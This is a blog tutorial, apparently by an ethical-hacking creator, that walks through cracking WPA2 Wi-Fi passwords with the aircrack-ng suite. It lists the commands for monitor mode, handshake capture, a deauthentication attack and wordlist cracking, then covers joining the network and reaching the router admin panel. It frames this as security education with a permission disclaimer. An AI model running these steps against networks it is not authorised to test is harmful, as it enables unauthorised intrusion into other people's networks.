How to Hack WiFi: Crack WPA2 Passwords with Aircrack-NG (Step-by-Step)

Kyser Clark
9 minutes ago
4 min read

YouTube removed this video less than 24 hours after it went live.

They cited “Harmful and Dangerous Content” despite clear visual and verbal disclaimers that this was for educational purposes only. I appealed it. They rejected it.

This post contains that exact walkthrough, embedded and uncensored.

If you want real cybersecurity education, the kind that helps ethical hackers grow their skills, this is it.

⚠️ Heads Up: YouTube has now flagged multiple videos on my channel for similar content. I’ll still be doing technical livestreams for now, but I’ve stopped uploading technical walkthroughs like this one to YouTube to avoid future strikes.

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What You’ll Learn in This Demo

In this post, I’ll show you how to hack wifi by capturing a WPA2 handshake, using a custom wordlist to crack it, and logging into a wireless router, all within minutes using Kali Linux and a compatible wireless adapter.

This method works against WPA and WPA2. It does not work against WPA3, which is currently immune to this attack at the time of writing. And WEP is cracked differently (Stay tuned for a WEP cracking tutorial!)

By the end, you’ll understand:

How to identify targets on a wireless network
How to capture a WPA handshake using airodump-ng
How to trigger reauthentication using aireplay-ng
How to crack that handshake using aircrack-ng and a targeted wordlist
How to connect your Kali Linux VM to Wi-Fi manually using wpa_supplicant
And how to access the router once you’ve cracked the key

Watch the Full Walkthrough (Uncensored)

🎥 This is the original video YouTube removed.I’m sharing it here because you deserve access to real-world technical training, not watered-down, censored content.

Important Disclaimer

This demo is for educational purposes only. Ethical hacking is a legal practice, and it differs significantly from illegal hacking. Only perform these techniques in environments you own or where you have explicit written permission.

Tools & Commands Used For WiFi Hacking

Here’s a breakdown of the key tools and commands used in the video, with context:

✅ Initial Setup

iwconfig

sudo airmon-ng check kill

sudo airmon-ng start wlan0

If your wireless adapter isn’t showing up (e.g., no wlan0 in iwconfig), you’ll need to fix that first. I created a separate walkthrough just for this issue.

✅ Network Discovery

sudo airodump-ng --band abg wlan0

✅ Targeted Capture

sudo airodump-ng -c 9 --bssid [Target_BSSID] -w capture-file wlan0

✅ Deauthentication Attack

sudo aireplay-ng --deauth 1 -a [Target_BSSID] -c [Client_MAC] wlan0

(Replace -c [Client_MAC] with -c omitted if broadcasting to all clients)

✅ Crack WPA Handshake

aircrack-ng -w rockyou.txt -e [SSID] -b [BSSID] capture-file-01.cap

Or simplified:

aircrack-ng -w [custom-wordlist.txt] capture-file-01.cap

Note: These are the tools and commands used in the demo above. If you need context on how they’re applied, watch the video embedded earlier in this post.

Why This Still Works in the Real World

Many routers, especially older or entry-level ones, still ship with weak default configurations. In this demo, the TP-Link router used a predictable 8-digit PIN, which made it vulnerable to a basic numeric wordlist.

With proper recon, you can:

Identify default SSIDs and match them to known router models
Research their default PIN formats online
Build custom wordlists based on those formats
Crack the passphrase in hours, or even minutes

Connecting to the Network with Kali Linux

Connecting a Kali VM to Wi-Fi manually isn’t as simple as clicking the Wi-Fi icon. You’ll need a config file and a few CLI commands.

1. Create a WPA Supplicant Config

network={
	ssid="YourSSID"
	psk="YourPassword"
	key_mgmt=WPA-PSK
}

Save this file as wifi.conf.

2. Connect Using wpa_supplicant

sudo wpa_supplicant -B -Dnl80211 -iwlan0 -c wifi.conf

3. Request IP Address

sudo dhclient -v wlan0

Once connected, you can access the router’s admin panel directly.

Real-World Proof: It Works

In this demo, I successfully cracked the WPA2 password, connected to the router, and accessed its admin panel. The password I cracked was the exact default PIN printed on the back of the router, demonstrating that this attack remains effective against poorly configured networks to this day.

Final Thoughts

This type of attack isn’t new, but it’s still relevant. Many people are running outdated routers with default settings that leave them vulnerable to attack. Knowing how to test for these weaknesses is part of being a capable ethical hacker.

YouTube may not want this content on their platform, but I believe you deserve to learn it the right way. Legally, ethically, and responsibly.